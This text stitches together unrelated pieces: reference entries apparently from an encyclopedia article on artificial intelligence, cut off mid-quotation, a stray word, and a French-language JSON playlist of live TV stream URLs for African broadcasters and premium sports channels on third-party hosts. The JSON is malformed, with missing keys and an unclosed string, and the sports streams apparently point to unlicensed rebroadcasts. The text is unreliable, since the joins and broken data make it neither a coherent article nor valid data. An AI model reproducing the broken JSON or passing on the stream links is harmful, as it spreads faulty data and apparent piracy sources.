Entered the Uncanny Valley". The Atlantic. Archived from the original on 24 April 2018. Retrieved 24 April 2018. Pennachin, C.; Goertzel, B. (2007). Contemporary Approaches to Artificial General Intelligence. Artificial General Intelligence. Cognitive Technologies. Cognitive Technologies. Berlin, Heidelberg: Springer. doi:10.1007/978-3-540-68677-4_1. ISBN 978-3-540-23733-4. Roberts, Jacob (2016). "Thinking Machines: The Search for Artificial Intelligence". Distillations. Vol. 2 no. 2. pp. 14–23. Archived from the original on 19 August 2018. Retrieved 20 March 2018. "The superhero of artificial intelligence: can this genius keep it in check?". the Guardian. 16 February 2016. Archived from the original on 23 April 2018. Retrieved 26 April 2018. Mnih, Volodymyr; Kavukcuoglu, Koray; Silver, David; Rusu, Andrei A.; Veness, Joel; Bellemare, Marc G.; Graves, Alex; Riedmiller, Martin; Fidjeland, Andreas K.; Ostrovski, Georg; Petersen, Stig; Beattie, Charles; Sadik, Amir; Antonoglou, Ioannis; King, Helen; Kumaran, Dharshan; Wierstra, Daan; Legg, Shane; Hassabis, Demis (26 February 2015). "Human-level control through deep reinforcement learning". Nature. 518 (7540): 529–533. Bibcode:2015Natur.518..529M. doi:10.1038/nature14236. PMID 25719670. S2CID 205242740. Sample, Ian (14 March 2017). "Google's DeepMind makes AI program that can learn like a human". the Guardian. Archived from the original on 26 April 2018. Retrieved 26 April 2018. "From not working to neural networking". The Economist. 2016. Archived from the original on 31 December 2016. Retrieved 26 April 2018. Domingos 2015. Artificial brain arguments: AI requires a simulation of the operation of the human brain * Russell & Norvig 2003, p. 957 * Crevier 1993, pp. 271 and 279 A few of the people who make some form of the argument: * Moravec 1988 * Kurzweil 2005, p. 262 * Hawkins & Blakeslee 2005 The most extreme form of this argument (the brain replacement scenario) was put forward by Clark Glymour in the mid-1970s and was touched on by Zenon Pylyshyn and John Searle in 1980. Goertzel, Ben; Lian, Ruiting; Arel, Itamar; de Garis, Hugo; Chen, Shuo (December 2010). "A world survey of artificial brain projects, Part II: Biologically inspired cognitive architectures". Neurocomputing. 74 (1–3): 30–49. doi:10.1016/j.neucom.2010.08.012. Nilsson 1983, p. 10. Nils Nilsson writes: "Simply put, there is wide disagreement in the field about what AI is all about."[163] AI's immediate precursors: * McCorduck 2004, pp. 51–107 * Crevier 1993, pp. 27–32 * Russell & Norvig 2003, pp. 15, 940 * Moravec 1988, p. 3 Haugeland 1985, pp. 112–117 The most dramatic case of sub-symbolic AI being pushed into the background was the devastating critique of perceptrons by Marvin Minsky and Seymour Papert in 1969. See History of AI, AI winter, or Frank Rosenblatt. Cognitive simulation, Newell and Simon, AI at CMU (then called Carnegie Tech): * McCorduck 2004, pp. 139–179, 245–250, 322–323 (EPAM) * Crevier 1993, pp. 145–149 Soar (history): * McCorduck 2004, pp. 450–451 * Crevier 1993, pp. 258–263 McCarthy and AI research at SAIL and SRI International: * McCorduck 2004, pp. 251–259 * Crevier 1993 AI research at Edinburgh and in France, birth of Prolog: * Crevier 1993, pp. 193–196 * Howe 1994 AI at MIT under Marvin Minsky in the 1960s : * McCorduck 2004, pp. 259–305 * Crevier 1993, pp. 83–102, 163–176 * Russell & Norvig 2003, p. 19 Cyc: * McCorduck 2004, p. 489, who calls it "a determinedly scruffy enterprise" * Crevier 1993, pp. 239–243 * Russell & Norvig 2003, p. 363−365 * Lenat & Guha 1989 Knowledge revolution: * McCorduck 2004, pp. 266–276, 298–300, 314, 421 * Russell & Norvig 2003, pp. 22–23 Frederick, Hayes-Roth; William, Murray; Leonard, Adelman. "Expert systems". AccessScience. doi:10.1036/1097-8542.248550. Embodied approaches to AI: * McCorduck 2004, pp. 454–462 * Brooks 1990 * Moravec 1988 Weng et al. 2001. Lungarella et al. 2003. Asada et al. 2009. Oudeyer 2010. Revival of connectionism: * Crevier 1993, pp. 214–215 * Russell & Norvig 2003, p. 25 Computational intelligence * IEEE Computational Intelligence Society Archived 9 May 2008 at the Wayback Machine Hutson, Matthew (16 February 2018). "Artificial intelligence faces reproducibility crisis". Science. pp. 725–726. Bibcode:2018Sci...359..725H. doi:10.1126/science.359.6377.725. Archived from the original on 29 April 2018. Retrieved 28 April 2018. Norvig 2012. Langley 2011. Katz 2012. The intelligent agent paradigm: * Russell & Norvig 2003, pp. 27, 32–58, 968–972 * Poole, Mackworth & Goebel 1998, pp. 7–21 * Luger & Stubblefield 2004, pp. 235–240 * Hutter 2005, pp. 125–126 The definition used in this article, in terms of goals, actions, perception and environment, is due to Russell & Norvig (2003). Other definitions also include knowledge and learning as additional criteria. Agent architectures, hybrid intelligent systems: * Russell & Norvig (2003, pp. 27, 932, 970–972) * Nilsson (1998, chpt. 25) Hierarchical control system: * Albus 2002 Lieto, Antonio; Lebiere, Christian; Oltramari, Alessandro (May 2018). "The knowledge level in cognitive architectures: Current limitations and possibile developments". Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Lieto, Antonio; Bhatt, Mehul; Oltramari, Alessandro; Vernon, David (May 2018). "The role of cognitive architectures in general artificial intelligence". Cognitive Systems Research. 48: 1–3. doi:10.1016/j.cogsys.2017.08.003. hdl:2318/1665249. S2CID 36189683. Russell & Norvig 2009, p. 1. White Paper: On Artificial Intelligence - A European approach to excellence and trust (PDF). Brussels: European Commission. 2020. p. 1. Archived (PDF) from the original on 20 February 2020. Retrieved 20 February 2020. CNN 2006. Using AI to predict flight delays Archived 20 November 2018 at the Wayback Machine, Ishti.org. N. Aletras; D. Tsarapatsanis; D. Preotiuc-Pietro; V. Lampos (2016). "Predicting judicial decisions of the European Court of Human Rights: a Natural Language Processing perspective". PeerJ Computer Science. 2: e93. doi:10.7717/peerj-cs.93. "The Economist Explains: Why firms are piling into artificial intelligence". The Economist. 31 March 2016. Archived from the original on 8 May 2016. Retrieved 19 May 2016. Lohr, Steve (28 February 2016). "The Promise of Artificial Intelligence Unfolds in Small Steps". The New York Times. Archived from the original on 29 February 2016. Retrieved 29 February 2016. Frangoul, Anmar (14 June 2019). "A Californian business is using A.I. to change the way we think about energy storage". CNBC. Archived from the original on 25 July 2020. Retrieved 5 November 2019. Wakefield, Jane (15 June 2016). "Social media 'outstrips TV' as news source for young people". BBC News. Archived from the original on 24 June 2016. Smith, Mark (22 July 2016). "So you think you chose to read this article?". BBC News. Archived from the original on 25 July 2016. Brown, Eileen. "Half of Americans do not believe deepfake news could target them online". ZDNet. Archived from the original on 6 November 2019. Retrieved 3 December 2019. The Turing test: Turing's original publication: * Turing 1950 Historical influence and philosophical implications: * Haugeland 1985, pp. 6–9 * Crevier 1993, p. 24 * McCorduck 2004, pp. 70–71 * Russell & Norvig 2003, pp. 2–3 and 948 Dartmouth proposal: * McCarthy et al. 1955 (the original proposal) * Crevier 1993, p. 49 (historical significance) The physical symbol systems hypothesis: * Newell & Simon 1976, p. 116 * McCorduck 2004, p. 153 * Russell & Norvig 2003, p. 18 Dreyfus 1992, p. 156. Dreyfus criticized the necessary condition of the physical symbol system hypothesis, which he called the "psychological assumption": "The mind can be viewed as a device operating on bits of information according to formal rules."[206] Dreyfus' critique of artificial intelligence: * Dreyfus 1972, Dreyfus & Dreyfus 1986 * Crevier 1993, pp. 120–132 * McCorduck 2004, pp. 211–239 * Russell & Norvig 2003, pp. 950–952, Gödel 1951: in this lecture, Kurt Gödel uses the incompleteness theorem to arrive at the following disjunction: (a) the human mind is not a consistent finite machine, or (b) there exist Diophantine equations for which it cannot decide whether solutions exist. Gödel finds (b) implausible, and thus seems to have believed the human mind was not equivalent to a finite machine, i.e., its power exceeded that of any finite machine. He recognized that this was only a conjecture, since one could never disprove (b). Yet he considered the disjunctive conclusion to be a "certain fact". The Mathematical Objection: * Russell & Norvig 2003, p. 949 * McCorduck 2004, pp. 448–449 Making the Mathematical Objection: * Lucas 1961 * Penrose 1989 Refuting Mathematical Objection: * Turing 1950 under "(2) The Mathematical Objection" * Hofstadter 1979 Background: * Gödel 1931, Church 1936, Kleene 1935, Turing 1937 Graham Oppy (20 January 2015). "Gödel's Incompleteness Theorems". Stanford Encyclopedia of Philosophy. Archived from the original on 22 April 2016. Retrieved 27 April 2016. These Gödelian anti-mechanist arguments are, however, problematic, and there is wide consensus that they fail. Stuart J. Russell; Peter Norvig (2010). "26.1.2: Philosophical Foundations/Weak AI: Can Machines Act Intelligently?/The mathematical objection". Artificial Intelligence: A Modern Approach (3rd ed.). Upper Saddle River, NJ: Prentice Hall. ISBN 978-0-13-604259-4. even if we grant that computers have limitations on what they can prove, there is no evidence that humans are immune from those limitations. Mark Colyvan. An introduction to the philosophy of mathematics. Cambridge University Press, 2012. From 2.2.2, 'Philosophical significance of Gödel's incompleteness results': "The accepted wisdom (with which I concur) is that the Lucas-Penrose arguments fail." Iphofen, Ron; Kritikos, Mihalis (3 January 2019). "Regulating artificial intelligence and robotics: ethics by design in a digital society". Contemporary Social Science: 1–15. doi:10.1080/21582041.2018.1563803. ISSN 2158-2041. "Ethical AI Learns Human Rights Framework". Voice of America. Archived from the original on 11 November 2019. Retrieved 10 November 2019. Crevier 1993, pp. 132–144. In the early 1970s, Kenneth Colby presented a version of Weizenbaum's ELIZA known as DOCTOR which he promoted as a serious therapeutic tool.[216] Joseph Weizenbaum's critique of AI: * Weizenbaum 1976 * Crevier 1993, pp. 132–144 * McCorduck 2004, pp. 356–373 * Russell & Norvig 2003, p. 961 Weizenbaum (the AI researcher who developed the first chatterbot program, ELIZA) argued in 1976 that the misuse of artificial intelligence has the potential to devalue human life. Wendell Wallach (2010). Moral Machines, Oxford University Press. Wallach, pp 37–54. Wallach, pp 55–73. Wallach, Introduction chapter. Michael Anderson and Susan Leigh Anderson (2011), Machine Ethics, Cambridge University Press. "Machine Ethics". aaai.org. Archived from the original on 29 November 2014. Rubin, Charles (Spring 2003). "Artificial Intelligence and Human Nature". The New Atlantis. 1: 88–100. Archived from the original on 11 June 2012. Brooks, Rodney (10 November 2014). "artificial intelligence is a tool, not a threat". Archived from the original on 12 November 2014. "Stephen Hawking, Elon Musk, and Bill Gates Warn About Artificial Intelligence". Observer. 19 August 2015. Archived from the original on 30 October 2015. Retrieved 30 October 2015. Chalmers, David (1995). "Facing up to the problem of consciousness". Journal of Consciousness Studies. 2 (3): 200–219. Archived from the original on 8 March 2005. Retrieved 11 October 2018. See also this link Archived 8 April 2011 at the Wayback Machine Horst, Steven, (2005) "The Computational Theory of Mind" Archived 11 September 2018 at the Wayback Machine in The Stanford Encyclopedia of Philosophy Searle 1980, p. 1. This version is from Searle (1999), and is also quoted in Dennett 1991, p. 435. Searle's original formulation was "The appropriately programmed computer really is a mind, in the sense that computers given the right programs can be literally said to understand and have other cognitive states." [230] Strong AI is defined similarly by Russell & Norvig (2003, p. 947): "The assertion that machines could possibly act intelligently
bermufine
{"categories":[{"name":"Movies","videos":[{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["http://178.33.237.146/rtnc1.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","thumb":"https://od.lk/s/M18yNDU0Njk2MjZf/RTNC.jpegg","title":"RTNC"},{"description":"Tele Congo est une chaine nationale du congo brazza en diffusant des emissions, informations, sports, theatres, musique et autres....","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODYwMjFf/telecongo.jpg","title":"TELE CONGO TV / BRAZZAVILLE"},{"description":"Bein Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MzBf/beinone.png","title":"BEIN SPORT 1 / SPORTS"},{"description":"Bein Sport 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MThf/beintwo.png","title":"BEIN SPORT 2 / SPORTS"},{"description":"Bein Sport 3 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MDZf/beintree.png","title":"BEIN SPORTS 3 / SPORTS"},{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","https://od.lk/s/M18yNDU0Nzc4NDZf/rtnc3.png","title":"RTNC 1 / RDC (lien2)"},{"description":"Canal Plus Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/cpsport/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzhf/canalsport.png","title":"CANAL + 1 / SPORTS"},{"description":"Canal Plus Sports 2 est une chaine televisee sportives.","sources":["https://stream.mmsiptv.com/droid/cplus/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzlf/canalsporttwoo.jpg","title":"CANAL + 2 / SPORTS"},{"description":"RMC 1 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MjBf/rmcone.png","title":"RMC 1 / SPORTS"},{"description":"RMC 2 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MzVf/rmctwo.png","title":"RMC 2 / SPORTS"},{"description":"RMC 3 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NDVf/rmctree.png","title":"RMC 3 / SPORTS"},{"description":"RMC 4 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc4/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NTFf/rmcfour.png","title":"RMC 4 / SPORTS"},{"description":"EuroSports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport2/playlist.m3u"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxOTlf/eurone.png","title":"EUROSPORTS 1 / SPORTS"},{"description":"EuroSports 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxNTdf/eurotwo.jpg","title":"EUROSPORTS 2 / SPORTS"},{"description":"EuroSports 3 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/eurosport1.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxODJf/eurotree.jpg","title":"EUROSPORTS 3 / SPORTS"},{"description":"EuroSports 4 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/es-eurosport2.stream/playlist.m3u8"],"subtitle":"By Channel","https://od.lk/s/M18yNTkxODgxMzJf/eurofour.png","title":"EUROSPORTS 4 / SPORTS"},{"description":"L'Equipe est une chaine televisee sportives emettant en France","sources":["https://stream.mmsiptv.com/droid/equipe/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg0ODhf/equipe.png","title":"L'EQUIPE TV / SPORTS"},{"description":"Sky Sport est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/skysports-premier-league.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg2MjNf/skysport.jpg","title":"SKY SPORTS / SPORTS"},{"description":"Azam Sports 1 Tanzanie est l'une des chaines privées que l'on retrouve en tanzanie, possédant des émissions Sportives variées","sources":["https://1446000130.rsc.cdn77.org/1446000130/index.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzQwMjJf/azam.jpg","title":"AZAM SPORTS / TANZANIA"},{"description":"ADSPORTS 1 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn1.cdn.mangomolo.com/adsports1/smil:adsports1.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg4OTlf/adone.jpg","title":"ADSPORTS 1 / SPORTS"},{"description":"ADSPORTS 2 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn5.cdn.mangomolo.com/adsports2/smil:adsports2.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5MjFf/adtwo.jpg","title":"ADSPORTS 2 / SPORTS"},{"description":"ADSPORTS 3 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn3.cdn.mangomolo.com/adsports3/smil:adsports3.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5NTBf/adtree.jpg","title":"ADSPORTS 3 / SPORTS"},{"description":"MAV TV est une chaine televisee sportives emettant a Dubai","sources":["https://mavtv-mavtvglobal-1-gb.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODkzNTZf/mavtv.png","title":"MAV TV / SPORTS"},{"description":"NollyWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/nollywoodfr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODk3MDhf/nollywood.jpg","title":"NOLLYWOOD TV / NOVELAS"},{"description":"AfricaWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/africawood/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1Nzc2ODJf/vision4.jpg","title":"AFRICAWOOD TV / NOVELAS"},{"description":"NOVELAS TV 1 est une chaine televisee qui diffuse que des series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/novelas/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxOTAwMDFf/novelasone.jpg","title":"NOVELAS TV 1 / SERIE"},{"description":"RTI 2 est une chaine televisee ivoiriens qui diffuse que des informations, musiques, series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/rti2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4NDdf/rtid.jpg","title":"RTI 2 / COTE D'IVOIRE"},{"description":"NOVELAS TV est la chaine qui diffuset des Series Mexicaines, Philipiennes et Bresiliennes....","sources":["https://stormcast-telenovelatv-1-fr.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjA4MDVf/novelastv.jpg","title":"NOVELAS TV{"description":"NW INFOS est la chaine du togo en diffusant des Informations Emissions et autres....","sources":["https://hls.newworldtv.com/nw-info/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NzNf/nwInfos.jpg","title":"NW INFOS TV / TOGO"},{"description":"NW Muzik est la chaine du togo en diffusant des musiques Africaine et autres....","sources":["https://hls.newworldtv.com/nw-muzik/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NTZf/nwMuzik.webp","title":"NW MUZIK TV / TOGO"},{"description":"Al Hadath est la chaine du Lybie en diffusant des Emissions ainsi que des infos, musique et autres....","sources":["https://master.starmena-cloud.com/hls/hd.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjcxNDBf/alhad.png","title":"AL HADATH TV / LYBIE"},{"description":"Vox Of Africa est la chaine des americains qui emette a Brazzaville en diffusant des informations et autres....","sources":["https://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY1NDFf/VOX_AFRICA.jpg","title":"VOX OF AFRICA TV"},{"description":"Resurrection TV est l'une des chaines privées Chretienne que l'on retrouve dans la ville d'ACCRA, possédant des émissions variées","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzczODRf/mychannel.jpg","title":"RESURRECTION TV / GHANA"},{"description":"CDIRECT TV est la chaîne une chaîne généraliste présente une vitrine positive du Congo, conçoit des programmes inédits et innovants qui s'adressent aux congolais résidents, la diaspora congolaise, ainsi qu'à l'ensemble des africains francophones à travers le monde entier. Sa ligne éditoriale est axée sur les deux Congo décomplexé, un Congo qui va de l'avant et gagne !.","sources":["http://cms-streamaniak.top/Cdirect/CDIRECT/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdirect.tv/assets/img/logo-cdirect.ico","title":"CDIRECT TV / Kinshasa-Brazzaville"},{"description":"DBM TV ou digital black Music est une Chaîne TV à thématique musicale, DBM a pour vocation de révéler et promouvoir la musique Afro Urbaine, qu’elle soit d’Afrique ou d’ailleurs info@dbm-tv.com. .","sources":["https://dbmtv.vedge.infomaniak.com/livecast/smil:dbmtv.smil/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://www.dbm-tv.fr/wp-content/uploads/2017/12/logo-dbm.png","title":"DBM TV / Music "},{"description":"La LUMIÈRE, ministère Chrétien pour annoncer l’évangile de Jésus Christ partout dans le monde, toucher changer et sauver des vies par la puissance de la parole de DIEU avec des enseignements prédications adorations louanges partages de prières, d’exhortations et de témoignages","sources":["https://video1.getstreamhosting.com:1936/8248/8248/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_124,h_124/https://telepack.net/wp-content/uploads/2020/05/lumiere-tv.png","title":"La Lumiere TV / Gospel"},{"description":"La Télévision Togolaise (TVT) est le nom de l'unique chaîne de télévision publique togolaise, Crée depuis 1979.","sources":["http://54.38.92.12/tvt.m3u8"],"subtitle":"By Google","thumb":"https://amp.live-tv-channels.org/pt-data/uploads/logo/tg-tv.jpg","title":"Télévision Togolais"},{"description":"CRTV est un service de radio et de télévision contrôlé par le gouvernement au Cameroun. Cela a commencé sous le nom de Cameroon Television (CTV) et a ensuite fusionné avec le service de radio pour devenir CRTV. Il couvre l'ensemble des dix régions du Cameroun, ce qui en fait le diffuseur indomptable parmi plusieurs chaînes de télévision privées du pays. Sa couverture des événements est généralement considérée comme pro-gouvernementale. Les programmes de la CRTV comprennent des documentaires, des magazines, des analyses d'actualités et des séries importées d'Asie et du Brésil..","sources":["http://178.33.237.146/crtv.m3u8"],"subtitle":"By Channel","thumb":"http://www.cameroonconcordnews.com/wp-content/uploads/2018/03/CRTV-new.jpg","title":"Cameroune Radio Télévision"},{"description":"Impact TV c'est une premiere Chaine televisee chretienne diffusant au Burkina-Fasso sur satelite innauguree le 07/03/2008 par Marie Sophie.","sources":["https://edge10.vedge.infomaniak.com/livecast/impacttele/chunklist_w973675047.m3u8"],"subtitle":"By Channel","thumb":"https://i1.wp.com/www.livetvliveradio.com/wp-content/uploads/2017/07/impact-tv.jpg?fit=259%2C194","title":"Impact TV / Burkina Fasso"},{"description":"Kigali Channel 2 ( Là pour vous) est une chaine televisee Rwandaise emmetant a Kigali. KC2 se diversite par sa diffusion des emitions exceptionnelle ainsi que des films nouveautes et plein d'autres.","sources":["https://5c46fa289c89f.streamlock.net/kc2/kc2/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQfQjI8jUhMPReWg0MOdw1xpAAXMP7YAuZKBg&usqp=CAU","title":"KC2 TV / Rwanda"},{"description":"Equinox est une chaîne de télévision basée au Cameroun. Peu de temps après son lancement, il est devenu l'un des critiques les plus virulents du régime de Paul Biya. La station était connue pour avoir diffusé des images en direct d'une manifestation politique contre le changement constitutionnel au Cameroun qui favorisait le maintien au pouvoir du président Biya après 2011, alors qu'il lui était interdit par la Constitution de se présenter à nouveau. La télévision appartient au magnat des affaires de la région ouest du Cameroun, Severin Tchounke, qui possède également un quotidien critique, La Nouvelle Expression.","sources":["http://178.33.237.146/equinoxetv.m3u8"],"subtitle":"By Channel","thumb":"https://camer-press.com/wp-content/uploads/2020/04/Equinoxe-Tv.jpg","title":"Equinoxetv"},{"description":"Rwanda Télévision (RTV) est la premiere chaîne public du Rwanda qui fournit des informations et des divertissements quotidiens au public rwandais en trois langues: anglais, français et kinyarwanda géré par l'industrie de la télévision rwandaise , mais ce derniere est composée de 12 chaînes de télévision dont 84% télévisions sont détenues par des privés (10 sur 12) tandis que 8% appartiennent respectivement à des organisations publiques et religieuses. L'Agence nationale de radiodiffusion rwandaise.","sources":["https://5c46fa289c89f.streamlock.net/rtv/rtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://maps.prodafrica.com/wp-content/uploads/2020/03/10191_RBA_002.png","title":"RTV"},{"description":"IBN TV est un radiodiffuseur islamique de télévision et de radio qui transmet IBN TV et Radio Maarifa de Dar es Salaam et Tanga respectivement. Il a été crée sous la direction de la Fondation Al Itrah et a été diffusé officiellement depuis Mars 2003. IBN TV est un média privé qui a commencé après la libéralisation de l’industrie des médias en Tanzanie. IBN TV est la première chaîne islamique en Tanzanie. Il couvre presque toute la région de Dar es Salaam, Tanga, Arusha et Mwanza. IBN TV diffuse en quatre langues différentes, à savoir l’anglais, le swahili, le gujarati et l’ourdou.","sources":["http://138.68.138.119:8080/low/5a8993709ea19/index.m3u8"],"subtitle":"By Channel","thumb":"http://www.alitrah.co.tz/wp-content/uploads/sites/3/2015/10/ibntvafrica.png","title":"IBN TV"},{"description":"RTB est une chaîne de télévision publique générale dirigée par l’Établissement public d’État. Son siège social est situé dans la capitale du Burkina Faso, à Ouagadougou. Il est diffusé en direct à la télévision terrestre et sur Internet. Cette chaîne africaine diffuse des nouvelles télévisées en Français. Mais en général, les flashs de nouvelles sont dans la langue nationale comme Lobiri, Bwamu, Gulmancéma ainsi que Bissa. RTB offre un programme avec de nombreux magazines sur le sport, l’économie, la culture, la santé et la jeunesse.","sources":["https://edge8.vedge.infomaniak.com/livecast/ik:rtbtvlive1/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/c/c0/RTB_Sukmaindera.png","title":"Radio Television Burkina Fasso"},{"description":"Eri-TV est une chaîne de télévision érythréenne appartenant à l'État. Basée dans la capitale du pays, Asmara, elle diffuse 24 heures sur 24. La station propose des bulletins d'information 24 heures sur 24, des émissions-débats et des programmes culturels et éducatifs. Eri-TV a une large base d'audience en dehors de l'Érythrée, que la chaîne publique reconnaît et utilise pour communiquer avec les Érythréens vivant à l'étranger. Le réseau compte environ 1 à 2 millions de téléspectateurs par semaine. Eri-TV reconnaît la culture minoritaire érythréenne et a largement adopté un partage de temps égal entre chacune des langues parlées du pays.","sources":["http://217.182.137.206/eri.m3u8"],"subtitle":"By Channel","thumb":"https://eri.tv/images/eri-tv-live.png","title":"ERITRIE TV"},{"description":"Créée au Sénégal par le GROUPE D-MEDIA, SENTV, 1ère Chaîne Urbaine au Sénégal, consacre sa programmation au traitement de l'actualité nationale et internationale et à la culture urbaine sénégalaise et africaine en générale. Elle émet sur hertzien depuis 2009 et est désormais disponible sur satellite via le bouquet Canal + Afrique et les bouquets IPTV à l'international. Une chaîne généraliste et orientée urbaine, constituant ainsi une offre originale et unique au Sénégal. Une part importante de ses programmes est constituée par des rendez-vous d’actualité sur une rythmique quotidienne et des émissions phares orientées Société et Divertissement.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://www.xalat.info/wp-content/uploads/2019/02/maxresdefault-2.jpg","title":"SENEGAL TV"},{"description":"RTB diffuse des emissions ainsi que les Sports, Musique, Culture et Films d'Action.","sources":["http://46.105.114.82/rtb1.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/bf-rtb-tv-8682.jpg","title":"RTB"},{"description":"LEEEKO est un ensemble de médias web radio et tv, créé le 1er Decembre 2016 par Serges OLUBI, passionné de musiques. LEEEKO diffuse une diversité des musique telsque: Rhumba, Zouk, Ndombolo, Rnb, Classic, Jazz et autres à travers l'Afrique.","sources":["http://livetvsteam.com:1935/leeeko/leeeko/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is2-ssl.mzstatic.com/image/thumb/Purple113/v4/c9/76/95/c9769524-8604-49ac-108e-efca1d025a99/source/512x512bb.jpg","title":"LEEKO MUSIQUE TV"},{"description":"La Radio Télévision Guinéenne (RTG), l’un des premiers organes de presse public du pays, est absente dans plusieurs villes de l’intérieur du pays. Et ce après 42 ans depuis sa création. Par endroits, les signaux de la RTG sont totalement absents depuis plusieurs années. Par contre, dans certaines préfectures, malgré la réception des signaux, faute d’énergie, les populations sont privées des émissions de la RTG, a-t-on constaté.","sources":["http://178.33.237.146/rtg.m3u8"],"subtitle":"By Blender Channel","thumb":"http://maliactu.info/wp-content/uploads/2019/08/rtg-radio-television-guineenne.png","title":"Radio Television Guinéenne "},{"description":"MTA Africa 1 (anciennement MTA Africa) est la quatrième chaîne de télévision par satellite du réseau MTA International. 